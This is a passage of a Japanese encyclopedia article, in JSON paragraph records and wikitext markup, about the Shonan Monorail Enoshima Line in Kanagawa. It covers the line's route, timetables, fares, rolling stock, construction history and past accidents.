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"text": "同時に片瀬海岸・江の島を始めとする湘南地域の保養地・観光地アクセス手段の一つでもあるものの、1978年には観光需要が3割、通勤・通学需要が7割であったものが、現在では通勤・通学需要が9割に達する。朝夕は激しく混雑し、富士見町 - 大船間においては混雑率が163%にまで達する列車もある。特に湘南モノレールの大株主だった三菱電機の従業員用務需要は大きい。",
"title": "概要"
},
{
"paragraph_id": 3,
"tag": "p",
"text": "近年においても大船駅に近い富士見町駅周辺においてマンション開発が相次いでいるほか、JR東日本の大規模工場が撤収した湘南深沢駅前では鎌倉市が「第3の都市拠点」として再開発を計画している。深沢地区と隣接する藤沢市村岡地域において大規模研究所施設の建設により就業人口が増したことから、関係自治体による村岡・深沢地区総合交通戦略策定協議会 (PDF) も立ち上がっている。",
"title": "概要"
},
{
"paragraph_id": 4,
"tag": "p",
"text": "大船駅と湘南江の島駅の両終端駅には駅員が常駐して自動改札機が設置されている。湘南町屋駅及び西鎌倉駅には自動改札機と自動精算機が設置されている。それ以外の無人駅は自動券売機のみが設置され、原則として乗務員が集札を行っていた(下り列車の富士見町駅では大船駅から初乗り運賃であること、大船駅に自動改札機が設置されているため、集札は行われず、駅備え付けの集札箱に乗車券を入れるようになっていた)が、コロナ禍以降は全ての自動改札機のない駅において集札が行われず、集札箱に乗車券を入れる状況が続いている。",
"title": "概要"
},
{
"paragraph_id": 5,
"tag": "p",
"text": "路面電車の停留場に似た簡素なものがほとんどであるが、1日の乗降客数が5,000人を超える「特定旅客施設」に該当する駅が多いため、交通バリアフリー法(現バリアフリー新法)による移動円滑化の動きがある。これにより湘南町屋駅・西鎌倉駅・湘南江の島駅には、エレベーター設置に伴い駅舎が改修されているほか、開業以来基準のなかったサインシステムが導入された。",
"title": "概要"
},
{
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"tag": "p",
"text": "また保安装置はATSを使用し、終点駅や交換可能な駅には鉄道の地上信号機と同じ常置信号機(出発・場内)と従属信号機の遠方信号機が設置されており地上信号での自動閉塞式で運転されている。",
"title": "概要"
},
{
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"text": "富士見町・湘南深沢・西鎌倉・目白山下の各駅で列車交換(行き違い)ができる。単線ながら、早朝と夜間をのぞいて7.5分間隔の高頻度運転が行われており、すべての交換可能駅で列車交換が行われる「ネットダイヤ」を形成している。このため、これ以上運転間隔を短くすることはできない。",
"title": "運行形態"
},
{
"paragraph_id": 8,
"tag": "p",
"text": "大半の列車は大船 - 湘南江の島間の通しで運行されているが、途中駅の湘南深沢駅近くに深沢車庫があるため、朝晩の一部列車に同駅を起・終点とする列車の設定がある。また、ダイヤグラム上昼間の「大船発湘南江の島行き」列車でも途中の湘南深沢で車両交換が行われることがあるが、その場合は乗り換えを余儀なくされる。",
"title": "運行形態"
},
{
"paragraph_id": 9,
"tag": "p",
"text": "日本の多くの鉄道事業者が土曜・休日ダイヤを設定しているなかで、沿線に抱える大規模工場への通勤客輸送という側面を抱える当路線では土曜日の運転には平日ダイヤが適用されていたが、2016年6月1日のダイヤ改正で休日(土日・祝祭日)ダイヤに統合された。",
"title": "運行形態"
},
{
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"tag": "p",
"text": "また、観光客対策として毎年8月の第1火曜日に開催される江の島花火大会当日は23時過ぎまで日中同様7分半間隔での臨時ダイヤで運転されている。なお、2007年3月18日は片瀬海岸を発着とする湘南国際マラソン大会への対策として休日ダイヤ適用日ながら平日ダイヤで運転されたほか、2010年まで、毎年元日は平日ダイヤで運転されていた。2018年12月31日から2019年1月1日にかけてには、全線45分間隔で終夜運転を行なった。",
"title": "運行形態"
},
{
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"tag": "p",
"text": "2008年2月24日に発生した西鎌倉駅でのオーバーラン事故以来、12月22日まで臨時ダイヤで運転が行われていた。3月23日まで、平成初期まで存在していた大船 - 湘南深沢間を折り返し運行するシャトル便が朝晩を中心に一時的に復活したほか、開業以来設定されたことのなかった土曜日ダイヤの適用も行われていた。",
"title": "運行形態"
},
{
"paragraph_id": 12,
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"text": "車両の夜間停泊は、車庫のある湘南深沢駅と湘南江の島駅で行われている。",
"title": "運行形態"
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{
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"text": "ワンマン運転は行っておらず、車掌が乗務する。",
"title": "運行形態"
},
{
"paragraph_id": 14,
"tag": "p",
"text": "日本跨座式モノレールを推進する陣営と異なりメーカーによるライセンスが開放されていないこともあり、開業時から一貫して三菱重工業・三菱電機共同製作によるもののみ採用されている。車両はすべてアルミ合金製の3両固定編成で、5000系第1編成までは銀色地に赤帯を巻いていた。第2編成以降は、1本毎に異なる色の帯を巻くようになっている。全車両とも行先表示器を装備していない為、先頭部に行先標(通常は「大船←→湘南江の島」で固定)を掲示している。",
"title": "車両"
},
{
"paragraph_id": 15,
"tag": "p",
"text": "仕様変更に伴う形式変更・改番を頻繁に行うため、登場時の車号の車両は少ない。500形では、折り畳み座席設置の際に両先頭車のみ(中間車は改番されていない)が550番台に改番された。5000系では、第1編成が案内輪交換の際に両先頭車が5300番台、中間車が5200番台に改番され、その後の貫通扉設置改造時に両先頭車は5600番台に改番された。第2編成は当初両先頭車は5500番台であったが、VVVFインバータ装置の改良や情報記録装置の搭載により5600番台に改番された。第3編成以降は登場時から両先頭車は5600番台である。",
"title": "車両"
},
{
"paragraph_id": 16,
"tag": "p",
"text": "旧来の路面電車に代わる都市内交通機関として、モノレールが本命視され複数の規格が各地で試験敷設されていた当時、主に日立製作所が技術主導権を握る跨座式モノレールと対抗軸をなす三菱重工業のモノレール設備機器の本格導入・拡販を目指すためのモデル路線として敷設された。1964年に名古屋市の東山動植物園内に設置された懸垂式モノレールの試験線である東山公園モノレール(1974年廃止)で得られたデータを活かして、2 - 3両の連結車両やモノレール用の特殊な転轍機を新たに採用するなどさらなる試験も兼ねているほか、跨座式モノレールに対する優位性を示すためあえて過酷な条件の地形に挑むように建設された。この路線における技術の成功が千葉都市モノレールに活かされている。",
"title": "敷設の経緯"
},
{
"paragraph_id": 17,
"tag": "p",
"text": "軌道は旧京浜急行自動車専用道路の上空に沿う形で設置されている。この道路は元々大船と江の島海岸を結ぶ普通鉄道線計画が頓挫したために取得済み用地を日本初の自動車専用道路として整備した私道で、モノレール建設当時は京浜急行電鉄によって所有および運営がなされており、軌道敷設にあたってはこの形態が有利に働いたようである。現在では鎌倉市と藤沢市に売却・譲渡され、一般市道に移行している。",
"title": "敷設の経緯"
},
{
"paragraph_id": 18,
"tag": "p",
"text": "この道路には最小曲率半径 25 m、最急勾配 88 ‰ という険しい箇所もある。懸垂式モノレールの性能的には、この道路に完全に沿う形での敷設も可能であったが、車両の馬力、平均速度の観点を加味し最急勾配を 74 ‰、最小曲率半径を本線 100 m、駅構内 50 m とした。途中2か所に道路上空を外れてトンネルを設けた箇所も存在する。このような急カーブを駆け抜ける乗り心地や、めまぐるしく変化する車窓の風景が、ジェットコースターにたとえられることもある。",
"title": "敷設の経緯"
},
{
"paragraph_id": 19,
"tag": "p",
"text": "建設にあたっては、軌道桁・支柱の製造を三菱重工業横浜造船所(当時)、車両は同三原製作所(同)、変電所は三菱電機が担当し、総合監理を三菱地所が行うなど、随所に三菱グループの総合力が活かされている。江の島線の走る鎌倉市の大船から深沢界隈は三菱電機の2事業所を抱える。",
"title": "敷設の経緯"
},
{
"paragraph_id": 20,
"tag": "p",
"text": "湘南江の島駅よりさらに南下して江ノ島電鉄を跨ぎ、江の島あるいは茅ヶ崎まで延伸する構想が当初存在したが、諸々の事情により頓挫したとされる。",
"title": "歴史"
},
{
"paragraph_id": 21,
"tag": "p",
"text": "大人普通旅客運賃(小児半額・10円未満切り上げ)。2019年10月1日改定。",
"title": "運賃"
},
{
"paragraph_id": 22,
"tag": "p",
"text": "普通乗車券、定期乗車券、回数乗車券のほかに企画乗車券として「湘南モノレール1日フリーきっぷ」が発売されているほか、過去には『世界のモノレールシリーズ』を初めとする各種記念乗車券も数多く発売されていたことがある。パンチ式車内補充券を現在でも車掌が発行している。 かつて、JR東日本線連絡乗車券を湘南江の島駅券売機限定で発売していた。連絡定期券はJR東日本線連絡のみで、取り扱い区間など詳細は駅や窓口に表示されず、3社連絡定期券は扱わない。",
"title": "乗車券"
},
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"paragraph_id": 23,
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"text": "カード乗車券は、2018年4月1日始発よりPASMOが導入された。",
"title": "乗車券"
},
{
"paragraph_id": 24,
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"text": "券売機や改札機で使用できるプリペイドカードは当初から導入されずパスネットも不参加であった。ICカード乗車券は2007年2月に導入検討中と発表され、同年5月にSuicaを主導するJR東日本と協議に入るとの報道発表があり、導入時期は公式発表されていないが当時県議会議員の松尾崇が出した要望書に、2012年度にPASMOを導入する方向で準備中と回答していた。2011年6月に地域新聞編集部の質問へ狭隘駅舎で自動改札設置が困難で、新規ソフト導入等の課題もあり今の所難しい。と回答していた。直接的投資効果が薄いICカードシステムへ大手鉄道事業者同等の資金優先が困難な点に、交通政策の一環として他都市でバス事業者等へ実施済みのICカード導入補助金制度等を検討する市議会議員もいた。",
"title": "乗車券"
},
{
"paragraph_id": 25,
"tag": "p",
"text": "かつては、小規模事業者ながらコスト競争が無い新造車両の更新や法定の移動円滑化対象駅が多く各駅の大規模改修などが重複到来し、安全運行維持やバリアフリーなど安全設備が優先されるため近隣事業者より大幅に遅延していたが、既設自動改札機や券売機などは既対応機種で今後の更新計画も対応前提であり、ICカードシステムの将来導入は鋭意検討中としていた。",
"title": "乗車券"
},
{
"paragraph_id": 26,
"tag": "p",
"text": "近隣を走る江ノ島電鉄線ほどではないものの、景勝地・湘南を通ることから度々テレビドラマや映画、書籍などの作品に当路線が登場することがある。ここではその一部を取り上げる。",
"title": "登場するメディア作品"
}
]
| 江の島線(えのしません)は、神奈川県鎌倉市の大船駅から藤沢市の湘南江の島駅まで結ぶ湘南モノレールのモノレール路線である。単に湘南モノレール、湘南モノレール線と呼ばれることが多い。 | {{Infobox 鉄道路線
|路線名 = [[File:ShonanMonorail logo M.svg|35px]] 江の島線
|路線色 = red
|画像 = Shonan-mono5601.png
|画像サイズ = 300px
|画像説明 = 江の島線を走行する[[湘南モノレール5000系電車|5000系電車]]<br />(2015年1月 [[湘南深沢駅]] - [[西鎌倉駅]]間)
|国 = {{JPN}}
|所在地 = [[神奈川県]][[鎌倉市]]、[[藤沢市]]
|種類 = [[モノレール|懸垂式モノレール(三菱サフェージュ式)]]
|路線網 =
|起点 = [[大船駅]]
|終点 = [[湘南江の島駅]]
|駅数 = 8駅
|路線記号 = SMR
|開業 = {{start date and age|1970|3|7}}<ref name="sone30">{{Cite book|和書 |author=曽根悟(監修)|authorlink=曽根悟 |title=週刊 歴史でめぐる鉄道全路線 公営鉄道・私鉄 |editor=朝日新聞出版分冊百科編集部 |publisher=[[朝日新聞出版]] |series=週刊朝日百科 |volume=30号 モノレール・新交通システム・鋼索鉄道 |date=2011-10-16 |page=8 }}</ref>
|休止 =
|廃止 =
|所有者 = [[湘南モノレール]]
|運営者 = 湘南モノレール
|車両基地 =
|使用車両 = [[#車両|車両]]を参照
|路線距離 = 6.6 [[キロメートル|km]]
<!--|軌間 = 840 [[ミリメートル|mm]](左右の駆動車輪中心間距離)<ref>[http://www.shonan-monorail.co.jp/publics/index/40/ 5000系 主要諸元表]、[http://www.shonan-monorail.co.jp/publics/index/37/ 300形 主要諸元表] - 湘南モノレール</ref> →車両のスペックであって線路(地上施設)のスペックではない。-->
|線路数 = [[単線]]
|電化方式 = [[直流電化|直流]]1,500 [[ボルト (単位)|V]]
|最大勾配 = 74.0 [[パーミル|‰]]
|最小曲線半径 = 100 [[メートル|m]](本線)、50 m(駅構内)
|閉塞方式 = 自動閉塞式
|保安装置 = ループ式[[自動列車停止装置|ATS]]
|最高速度 = 75 [[キロメートル毎時|km/h]]<ref name="kiseki">三好好三『京浜東北線100年の軌跡』JTBパブリッシング、2015年 p.189</ref>
|路線図 = [[file:ShonanMonorail Linemap.svg|300px]]
}}
{|{{Railway line header}}
{{UKrail-header2|停車場・施設・接続路線|red}}
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{{BS3|||TUNNEL1||片瀬山トンネル||}}
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|}
|}
[[File:Mejiroyamashita-Sta.jpg|thumb|240px|丘陵地帯を貫く郊外型モノレール路線である([[目白山下駅]])]]
[[File:Enoshima eastside beach.jpg|thumb|240px|保養・観光地を短絡するものの観光輸送の割合は小さい(江の島と片瀬海岸)]]
'''江の島線'''(えのしません)<ref>{{Cite web|和書|url=https://wwwtb.mlit.go.jp/kanto/content/000283415.pdf#page=7 |title=鉄道一覧 |date=2022-03-31 |work=鉄道・軌道・索道事業者の概況 |page=7 |publisher=国土交通省関東運輸局 |access-date=2023-07-08 }}</ref><ref>国土交通省鉄道局監修『鉄道要覧』平成28年度版、電気車研究会・鉄道図書刊行会、p.197</ref>は、[[神奈川県]][[鎌倉市]]の[[大船駅]]から[[藤沢市]]の[[湘南江の島駅]]まで結ぶ[[湘南モノレール]]の[[モノレール]]路線である。単に'''湘南モノレール'''、'''湘南モノレール線'''と呼ばれることが多い。
== 概要 ==
[[三浦半島]]の付け根付近にある[[丘陵]]地帯を貫き、古都・[[鎌倉]]市街を経由せずに大船と藤沢市片瀬地区を短絡する。丘陵地帯にありながら、当路線の開業以降、[[富士見町駅 (神奈川県)|富士見町]]・[[湘南町屋駅|湘南町屋]]両駅界隈が主に準工業地域として、[[湘南深沢駅]]界隈が商業・住宅地として、[[西鎌倉駅|西鎌倉]] - [[目白山下駅|目白山下]]間の各駅界隈では[[昭和]]初期からの[[別荘]]地であったものが高級分譲地として再整備されるなど開発が進んだ。そのため、用務客の利用が増加し、沿線から東京方面への通勤と沿線への通勤の両方の需要がある通勤路線としての性格を強める。開業以来の2両編成では利用客をさばききれなくなり、[[1975年]]には現在の標準組成である3両編成が登場している。
同時に片瀬海岸・[[江の島]]を始めとする[[湘南]]地域の保養地・観光地アクセス手段の一つでもあるものの、[[1978年]]には[[観光]]需要が3割、[[通勤]]・[[通学]]需要が7割であったものが、現在では通勤・通学需要が9割に達する。朝夕は激しく混雑し、富士見町 - 大船間においては混雑率が163%にまで達する列車もある<ref>2014年度の記録。{{Cite web|和書|url=http://www.pref.kanagawa.jp/uploaded/life/992578_3227112_misc.pdf |title=5.線区別混雑区間朝ラッシュ時(1時間)の輸送力・輸送量・混雑率(平成26年度) |accessdate=2016-6-5 |author=神奈川県土整備局都市部交通企画課 |date=2016-2-5 |format=PDF |work=[http://www.pref.kanagawa.jp/cnt/f160429/ 神奈川県交通関係資料集] |publisher=神奈川県 |archiveurl=https://web.archive.org/web/20160405115625/http://www.pref.kanagawa.jp/uploaded/life/992578_3227112_misc.pdf |archivedate=2016-4-5 }}</ref>。特に湘南モノレールの[[株主|大株主]]だった[[三菱電機]]の従業員用務需要は大きい。
近年においても大船駅に近い富士見町駅周辺においてマンション開発が相次いでいるほか、[[東日本旅客鉄道|JR東日本]]の大規模工場が撤収した湘南深沢駅前では鎌倉市が「第3の都市拠点」として再開発を計画<ref>[http://www.city.kamakura.kanagawa.jp/kyoten/fuka-keikaku-top.html 深沢地域の新しいまちづくり基本計画] - [http://www.city.kamakura.kanagawa.jp/kyoten/top.htm 鎌倉市拠点整備部鎌倉深沢地域整備課]サイト内</ref>している。深沢地区と隣接する藤沢市村岡地域において大規模研究所施設の建設により就業人口が増したことから、関係自治体による{{PDFlink|[https://www.city.kamakura.kanagawa.jp/kyoten/documents/sogokotu150713-01.pdf 村岡・深沢地区総合交通戦略策定協議会]}}も立ち上がっている。
[[大船駅]]と[[湘南江の島駅]]の両終端駅には駅員が常駐して[[自動改札機]]が設置されている。湘南町屋駅及び西鎌倉駅には自動改札機と自動精算機が設置されている。それ以外の無人駅は[[自動券売機]]のみが設置され、原則として乗務員が[[集札]]<ref name="hamarepo">{{Cite web|和書|date=2012-05-05|url=http://hamarepo.com/story.php?story_id=1032|title=湘南モノレールでsuicaやPASMOが使えないのはどうして?|work=はまれぽ.com|publisher=株式会社アイ・ティ・エー|accessdate=2013-05-07}}</ref>を行っていた(下り列車の富士見町駅では大船駅から初乗り運賃であること、大船駅に自動改札機が設置されているため、集札は行われず、駅備え付けの集札箱に乗車券を入れるようになっていた)が、[[コロナ禍]]以降は全ての自動改札機のない駅において集札が行われず、集札箱に乗車券を入れる状況が続いている<ref>{{Cite web|和書|url=http://www.shonan-monorail.co.jp/form/coronareport/ |title=新型コロナウイルス感染症対策に関する取り組みについて |publisher=湘南モノレール |accessdate=2021-12-04}}</ref>。
路面電車の停留場に似た簡素なものがほとんどであるが、1日の乗降客数が5,000人を超える「特定旅客施設」に該当する駅が多いため、[[高齢者、身体障害者等の公共交通機関を利用した移動の円滑化の促進に関する法律|交通バリアフリー法]](現[[高齢者、障害者等の移動等の円滑化の促進に関する法律|バリアフリー新法]])による移動円滑化の動きがある<ref>{{Cite web|和書|url=http://www.city.kamakura.kanagawa.jp/toshiseisaku/2baritop.htm |title=鎌倉市移動円滑化基本構想第2部編 湘南深沢駅周辺地区 |publisher=鎌倉市役所都市政策課 |accessdate=2016-10-01 |archiveurl=https://web.archive.org/web/20070930014743/http://www.city.kamakura.kanagawa.jp/toshiseisaku/2baritop.htm |archivedate=2007-09-30}}</ref>。これにより湘南町屋駅・西鎌倉駅・湘南江の島駅には、[[エレベーター]]設置に伴い駅舎が改修されているほか、開業以来基準のなかった[[サインシステム]]が導入された。
また保安装置は[[自動列車停止装置|ATS]]を使用し、終点駅や[[列車交換|交換]]可能な駅には鉄道の地上信号機と同じ[[日本の鉄道信号|常置信号機]](出発・場内)と従属信号機の遠方信号機が設置されており地上信号での[[閉塞 (鉄道)|自動閉塞式]]で運転されている。
=== 路線データ ===
* 路線距離([[営業キロ]]):6.6 [[キロメートル|km]]
* 方式:懸垂式(三菱サフェージュ式)
* 駅数:8駅(起終点駅含む)
* [[複線]]区間:なし(全線[[単線]])
* [[鉄道の電化|電化]]区間:全線([[直流電化|直流]] 1500 [[ボルト (単位)|V]])
* [[閉塞 (鉄道)|閉塞方式]]:自動閉塞式
* 信号保安装置:ループ式[[自動列車停止装置|ATS]]
* [[列車交換|交換]]可能駅:4駅(富士見町、湘南深沢、西鎌倉、目白山下)
* 最高速度:75 [[キロメートル毎時|km/h]]<ref name="kiseki" />
== 運行形態 ==
富士見町・湘南深沢・西鎌倉・目白山下の各駅で[[列車交換]](行き違い)ができる。単線ながら、早朝と夜間をのぞいて7.5分間隔の高頻度運転が行われており、すべての交換可能駅で列車交換が行われる「[[ダイヤグラム#ネットダイヤ|ネットダイヤ]]」を形成している。このため、これ以上運転間隔を短くすることはできない。
大半の列車は大船 - 湘南江の島間の通しで運行されているが、途中駅の湘南深沢駅近くに深沢車庫があるため、朝晩の一部列車に同駅を起・終点とする列車の設定がある。また、[[ダイヤグラム]]上昼間の「大船発湘南江の島行き」列車でも途中の湘南深沢で車両交換が行われることがあるが、その場合は乗り換えを余儀なくされる。
日本の多くの鉄道事業者が土曜・休日ダイヤを設定しているなかで、沿線に抱える大規模工場への通勤客輸送という側面を抱える当路線では[[土曜日]]の運転には平日ダイヤが適用されていたが、[[2016年]][[6月1日]]のダイヤ改正で休日(土日・祝祭日)ダイヤに統合された<ref name="改正2016">{{Cite press release|和書|title=湘南モノレール、運転間隔の短縮を実施。利用者の利便性向上・混雑緩和を図ります。 |publisher=[[湘南モノレール|湘南モノレール株式会社]] |date=2016-5-17 |format=PDF |url=http://www.shonan-monorail.co.jp/publics/download/?file=/files/content_type/type014/335/201605171523211909.pdf |accessdate=2016-6-5 |archiveurl=https://web.archive.org/web/20160605141525/http://www.shonan-monorail.co.jp/publics/download/?file=/files/content_type/type014/335/201605171523211909.pdf |archivedate=2016-6-5 }}</ref>。
また、観光客対策として毎年[[8月]]の第1火曜日に開催される[[江の島]][[花火]]大会当日は23時過ぎまで日中同様7分半間隔での臨時ダイヤで運転されている。なお、[[2007年]][[3月18日]]は片瀬海岸を発着とする[[湘南国際マラソン]]大会への対策として休日ダイヤ適用日ながら平日ダイヤで運転されたほか、[[2010年]]まで、毎年[[元日]]は平日ダイヤで運転されていた。2018年12月31日から2019年1月1日にかけてには、全線45分間隔で[[終夜運転]]を行なった<ref>[http://www.shonan-monorail.co.jp/news/2018/12/post-195.html 大晦日の終夜運転のお知らせ] - 湘南モノレール、2018年12月21日</ref>。
[[2008年]][[2月24日]]に発生した西鎌倉駅での[[オーバーラン#鉄道におけるオーバーラン|オーバーラン事故]]以来、[[12月22日]]まで臨時ダイヤで運転が行われていた。[[3月23日]]まで、平成初期まで存在していた大船 - 湘南深沢間を折り返し運行するシャトル便が朝晩を中心に一時的に復活したほか、開業以来設定されたことのなかった土曜日ダイヤの適用も行われていた。
車両の[[夜間停泊]]は、車庫のある湘南深沢駅と湘南江の島駅で行われている。
[[ワンマン運転]]は行っておらず、車掌が乗務する。
== 車両 ==
日本跨座式モノレールを推進する陣営と異なりメーカーによる[[ライセンス]]が開放されていないこともあり、開業時から一貫して[[三菱重工業]]・[[三菱電機]]共同製作によるもののみ採用されている。車両はすべて[[アルミ合金]]製の3両固定編成で、5000系第1編成までは銀色地に赤帯を巻いていた。第2編成以降は、1本毎に異なる色の帯を巻くようになっている。全車両とも行先表示器を装備していない為、先頭部に[[行先標]](通常は「大船←→湘南江の島」で固定)を掲示している。
仕様変更に伴う形式変更・改番を頻繁に行うため、登場時の車号の車両は少ない。500形では、折り畳み座席設置の際に両先頭車のみ(中間車は改番されていない)が550番台に改番された。5000系では、第1編成が案内輪交換の際に両先頭車が5300番台、中間車が5200番台に改番され、その後の貫通扉設置改造時に両先頭車は5600番台に改番された。第2編成は当初両先頭車は5500番台であったが、[[可変電圧可変周波数制御|VVVFインバータ]]装置の改良や情報記録装置の搭載により5600番台に改番された。第3編成以降は登場時から両先頭車は5600番台である。
=== 現用車両 ===
* [[湘南モノレール5000系電車|5000系]]([[2004年]] - )
=== 過去の車両 ===
* [[湘南モノレール300形電車|300形]]([[1970年]] - [[1992年]])
* [[湘南モノレール400形電車|400形]]([[1980年]] - 2004年)
* [[湘南モノレール500形電車|500形]]([[1988年]] - [[2016年]])
== 敷設の経緯 ==
旧来の[[路面電車]]に代わる都市内交通機関として、モノレールが本命視され複数の規格が各地で試験敷設されていた当時、主に[[日立製作所]]が技術主導権を握る跨座式モノレールと対抗軸をなす[[三菱重工業]]のモノレール設備機器の本格導入・拡販を目指すためのモデル路線として敷設された。[[1964年]]に[[名古屋市]]の[[東山公園 (名古屋市)|東山動植物園]]内に設置された懸垂式モノレールの試験線である[[名古屋市交通局協力会東山公園モノレール|東山公園モノレール]]([[1974年]]廃止)で得られたデータを活かして、2 - 3両の連結車両やモノレール用の特殊な転轍機を新たに採用するなどさらなる試験も兼ねているほか、跨座式モノレールに対する優位性を示すためあえて過酷な条件の地形に挑むように建設された。この路線における技術の成功が[[千葉都市モノレール]]に活かされている。
[[軌道 (鉄道)|軌道]]は旧[[京浜急行線|京浜急行自動車専用道路]]<!-- リンク先は[[京浜急行線]]で正当 -->の上空に沿う形で設置されている。この[[道路]]は元々大船と江の島海岸を結ぶ普通鉄道線計画が頓挫したために取得済み用地を日本初の[[自動車専用道路]]として整備した[[私道]]で、モノレール建設当時は[[京浜急行電鉄]]<ref group="注釈">京急はみちのりホールディングスへの全株式譲渡まで湘南モノレールにわずかながら出資していた。</ref>によって所有および運営がなされており、軌道敷設にあたってはこの形態が有利に働いたようである。現在では鎌倉市と藤沢市に売却・譲渡され、一般[[市町村道|市道]]に移行している。
この道路には最小曲率半径 25 [[メートル|m]]、最急[[線形 (路線)#勾配|勾配]] 88 [[パーミル|‰]] という険しい箇所もある。懸垂式モノレールの性能的には、この道路に完全に沿う形での敷設も可能であったが、[[鉄道車両|車両]]の馬力、平均速度の観点を加味し最急勾配を 74 ‰、最小曲率半径を本線 100 m、駅構内 50 m とした。途中2か所に道路上空を外れてトンネルを設けた箇所も存在する。このような急カーブを駆け抜ける乗り心地や、めまぐるしく変化する車窓の風景が、[[ジェットコースター]]にたとえられることもある<ref>[http://toyokeizai.net/articles/-/75396?page=3 売りに出た「湘南モノレール」が進む道とは?(3ページ目)] [[東洋経済新報社]](大坂直樹)、2015年7月2日(2015年8月19日閲覧)。<br />[http://r25.yahoo.co.jp/fushigi/jikenbo_detail/?id=20150707-00043532-r25 江の島行きジェットコースター話題] [[R25 (雑誌)|R25]]、2015年7月7日(2015年8月19日閲覧)。※上の記事を受けての話題を取り上げた記事</ref><ref>{{Cite web|和書|url=http://www.shonan-monorail.co.jp/area/|title=江の島に行くなら湘南モノレール <nowiki>|</nowiki> 江の島への近道|publisher=湘南モノレール|accessdate=2020-02-06}}</ref>。
建設にあたっては、軌道桁・支柱の製造を三菱重工業横浜造船所(当時)、車両は同三原製作所(同)、[[変電所]]は[[三菱電機]]が担当し、総合監理を[[三菱地所]]が行うなど、随所に[[三菱グループ]]の総合力が活かされている。江の島線の走る鎌倉市の大船から深沢界隈は三菱電機の2事業所を抱える。
== 歴史 ==
* [[1965年]]([[昭和]]40年)
** [[10月6日]] - [[湘南モノレール]]による大船-片瀬間[[地方鉄道法|地方鉄道]](懸垂式)敷設免許申請につき、運輸審議会件名表に登載される<ref>同日、[[運輸省]][[告示]]第341号</ref>。
** [[10月26日]] - 運輸審議会が運輸大臣へ、免許することが妥当な旨を答申する<ref>[[1966年]](昭和41年)[[1月18日]]、運輸省告示第14号。運審第157号</ref>。
* [[1970年]](昭和45年)[[3月7日]] - 大船 - 西鎌倉間が開業<ref name="sone30"/>。300形車両が2両編成で営業運転を開始<ref name="sone30"/>。
* [[1971年]](昭和46年)[[7月1日]] - 西鎌倉 - 湘南江の島間が開業し、全線開通<ref name="sone30"/>。
* [[1975年]](昭和50年)[[1月30日]] - 300形車両で3両編成の営業運転を開始<ref name="sone30"/>。
* [[1980年]](昭和55年)[[3月3日]] - 400形車両が営業運転を開始<ref name="sone30"/>。
* [[1988年]](昭和63年)[[3月31日]] - 500形車両が営業運転を開始<ref name="sone30"/>。
* [[1990年]]([[平成]]2年)[[2月20日]] - 14時10分頃、西鎌倉 - 片瀬山間を走行中の大船発湘南江の島行き列車が軌道下の市道整備のため工事していたクレーン車のアームに衝突しモノレール車両前面が大破する事故が発生<ref>{{Cite news |newspaper=[[毎日新聞]] |publisher=[[毎日新聞社]] |date=1990-02-21 |page=31(東京朝刊) }}</ref>。運転士は瀕死の重傷を負ったが乗客を含め死者無し。16時35分運転再開。
* [[1992年]](平成4年)[[7月11日]] - ダイヤ改正を実施し、平日昼間のダイヤが7.5分間隔となる<ref>{{Cite news |newspaper=[[朝日新聞]] |publisher=[[朝日新聞社]] |date=1992-07-03 |page=神奈川面 }}</ref>。
* [[2004年]](平成16年)
** [[6月24日]] - 5000系車両が営業運転を開始<ref name="sone30"/>。
** [[7月4日]] - 400形車両運用終了<ref name="sone30"/><ref>{{Cite journal|和書 |title=鉄道記録帳 |journal = RAIL FAN |date = 2004年10月号 |issue = 10 |volume = 51 |publisher = 鉄道友の会 |page = 26 }}</ref>、冷房化率100%達成。
* [[2005年]](平成17年)[[1月20日]] - [[アンドラ|アンドラ公国]]の首相マルク・フォルネ・モルネが視察。首相夫妻と外務大臣ら5人が、湘南モノレール社長前田克彦らとともに全区間を乗車した。同首相は積雪に強いこのモノレールに対し「アンドラ公国にぴったりの交通機関」と感想を述べた<ref>{{Cite web|和書|url=http://www.kanagawa-np.co.jp/news/nw050121.htm |title=アンドラ公国首相が湘南モノレール試乗 |accessdate=2022-04-12 |date=2005-01-21 |archiveurl=https://web.archive.org/web/20050123043624/http://www.kanagawa-np.co.jp/news/nw050121.htm#local05 |archivedate=2005-01-23 |deadlinkdate=2022-04 |website=神奈川新聞}}</ref>。
* [[2008年]](平成20年)
** [[2月24日]] - 西鎌倉駅構内で、湘南深沢発湘南江の島行き列車がブレーキ故障でオーバーランして停車、反対方向から来た湘南江の島発大船行き列車も同駅手前で緊急停車するトラブルが発生<ref>{{Cite news |newspaper=朝日新聞 |publisher=朝日新聞社 |date=2008-02-25 |page=35(朝刊) }}</ref>。乗客は脱出・救出され負傷者なし。関東運輸局から警告を受けた<ref>{{Cite news |newspaper=朝日新聞 |publisher=朝日新聞社 |date=2008-02-26 |page=35(朝刊) }}</ref>。事故車と同じ形式の5000系車両の使用を取り止め<ref name="毎日20080227">{{Cite news |newspaper=毎日新聞 |publisher=毎日新聞社 |date=2008-02-27 |page=27(地方神奈川) }}</ref>、翌25日、湘南深沢 - 大船で折り返し運転開始<ref>{{Cite news |newspaper=朝日新聞 |publisher=朝日新聞社 |date=2008-02-25 |page=18(夕刊) }}</ref>の後、翌26日に全線で通常より本数を減らした15分間隔の臨時ダイヤで運転再開<ref name="毎日20080227"/>。この事故以降行われる予定だった湘南モノレール主催のイベントの多くは中止となった。
** [[11月7日]] - 23時53分頃湘南深沢 - 西鎌倉間で上り回送電車が高所作業車のゴンドラ部分に衝突したものの作業員は軌道に避難しけが人はいなかった<ref>{{Cite news |newspaper=朝日新聞 |publisher=朝日新聞社 |date=2008-11-08 |page=13(夕刊) }}</ref>。数分後に下り最終電車が現場を通過予定だったが、湘南深沢駅で運転を打ち切り、乗客約100人が影響を受けた。衝突した編成は同月16日までに修繕・[[試運転]]を行い、翌17日から営業に復帰した。
** [[12月23日]] - 新車両の増備と廃車予定車両のリフレッシュ工事により同年2月24日の冒進事故以前の平常ダイヤに復帰する<ref>{{Cite news |newspaper=毎日新聞 |publisher=毎日新聞社 |date=2008-12-23 |page=24(地方神奈川) }}</ref>。
* [[2009年]](平成21年)
** [[6月26日]] - 国土交通省運輸安全委員会から「湘南モノレール江の島線西鎌倉駅構内鉄道物損事故鉄道事故調査報告書<ref>{{PDFlink|[https://www.mlit.go.jp/jtsb/railway/rep-acci/RA2009-6-1.pdf 鉄道事故調査報告書]}}(平成21年6月26日・運輸安全委員会)</ref>」が公表され、2008年2月24日の冒進事故の原因が制御装置の異常と判明する。
** [[10月13日]] - 冒進事故の対策を施した新しい5000系車両が営業運転を開始。
